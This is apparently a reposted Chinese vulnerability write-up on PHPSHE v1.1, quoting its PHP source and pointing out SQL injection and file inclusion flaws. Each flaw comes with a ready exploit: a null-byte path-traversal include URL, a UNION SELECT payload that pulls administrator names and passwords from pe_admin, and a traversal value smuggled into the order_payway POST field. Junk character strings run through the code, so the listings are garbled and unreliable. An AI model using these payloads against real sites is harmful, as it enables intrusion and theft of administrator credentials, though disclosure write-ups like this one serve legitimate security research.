phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
/* Phpshe v1.1 Vulnerability
9 b2 S3 f% h! ]8 a: X/* ========================
7 r' m: R# D. t9 b" j6 W# _* H/* By: : Kn1f3
8 U3 B3 V6 Q6 e  v, f, Y8 s! P& W+ h, D, F/* E-Mail : 681796@qq.com
/*******************************************************/
0×00 整体大概参数传输

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//common.php
, \% N( b/ f5 wif (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
& v2 d8 a  ?0 @2 |else {
5 P& z- @  j+ _! p!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
9 k" E: m" o1 O- @! ~) i" V}
session_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
. v7 _$ r, c1 \3 K5 S, O!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

3 U# e0 q- \% [  }4 Q0×01 包含漏洞

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//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
& ^7 U' P8 i3 [- wpe_result();
9 v6 b9 r6 h) D/ G; Q! G2 j1 }?>
//common 文件 第15行开始
url路由配置
$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
5 Y" v7 E5 A7 a) y3 b7 [$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
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0×02 搜索注入
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( b9 B( p" F0 Q7 N0 U<code id="code2">

//product.php文件
case 'list':
$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
+ [, J8 k' W8 F: }; L0 a4 A$sqlwhere = " and `product_state` = 1";
/ R4 x8 K& F$ y9 d3 @  Fpe_lead('hook/category.hook.php');
if ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
" ~" X. Q) z/ I' ^}
# w6 C/ `/ W3 p2 d- U- f$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
' y, c! G' {$ vif ($_g_orderby) {
7 @! m+ k. e1 f3 v7 m3 o- Y$orderby = explode('_', $_g_orderby);
" A8 F: x$ f" t0 I. D( Q+ [& P$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
4 Q5 a( @  U9 E) p+ o9 }$ xelse {
$sqlwhere .= " order by `product_id` desc";
8 q) S8 Q  D/ |" A3 s% V}
9 ~3 @+ {) D; O4 B  Y: z$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
$product_hotlist = product_hotlist();
0 j- N; N2 p/ d+ M- q//当前路径
$ A- R4 T: [0 }' z$nowpath = category_path($category_id);
  f5 D) P' @- N  h. ?$seo = pe_seo($info['category_name']);
7 P+ ?8 {# T# T: vinclude(pe_tpl('product_list.html'));
3 Q. |' t+ T# M( B+ n. \- g, O//跟进selectall函数库
6 i4 w! g0 i( tpublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
# |* A; O9 u' v' ?+ S3 s{
4 f4 _5 N! a4 G9 V6 v% R//处理条件语句
$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
- c) m- [7 }$ I1 x+ h}
( J6 i2 `9 Q2 w: R8 f//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>
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) |5 A& H4 j8 [6 C7 S4 ^/ x9 B; `0×03 包含漏洞2

/ @4 ]6 r# {. \" f! r* d<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

8 U1 x: q. t  u# a$cache_payway = cache::get('payway');

) I. b" p( q6 Y3 z0 L) R" mforeach($cache_payway as $k => $v) {

: z" J% @+ T) a& ]# r* z; U$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

& F. @, p6 j/ j( h$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

& r" b3 U, d0 s: Q0 J! _! Y}

9 j& |# P1 @  N$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

$ K0 G4 Y$ M0 z+ q/ ]5 E6 N& q!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

6 L$ `5 y6 t, c- f& ?# _* L( Rforeach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";
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}

echo '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

8 o5 n) m" G/ q% m, {( d3 a2 Jelse {

pe_error('支付错误...');

}

}

$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>